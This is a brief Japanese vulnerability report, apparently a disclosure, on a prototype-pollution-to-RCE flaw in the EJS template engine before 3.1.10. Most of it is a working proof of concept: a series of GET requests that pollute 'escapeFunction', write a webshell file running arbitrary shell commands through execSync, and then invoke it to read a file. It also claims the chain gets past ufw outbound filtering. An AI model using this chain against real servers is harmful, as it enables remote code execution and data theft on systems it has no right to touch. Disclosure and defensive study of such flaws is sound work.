[email protected] に基づく
1. ejs/lib/ejs.js - 580、636、637 行目
1. GET /pollute?target=client&value=1
2. GET /pollute?target=escapeFunction&value=process.mainModule.require("fs").writeFileSync('./payload.js', "function RCE( key ){ \n const result = process.mainModule.require('child_process').execSync(`${key}`); \n throw new Error(`Result leak from Error: ${result.toString()}`); \n}\n module.exports = RCE;");
3. GET /
- Inject webshell
4. GET /pollute?target=escapeFunction&value=process.mainModule.require("./payload.js")("cat ./Leak_target");
5. GET /
- Activate webshell
上記の PoC は、ufw ファイアウォールの送信パケットドロップを回避できます。
3.1.10 未満のすべてのバージョンがこの種の攻撃に対して脆弱です。
これは RCE の脆弱性です。稼働中のサーバーで悪用しないでください。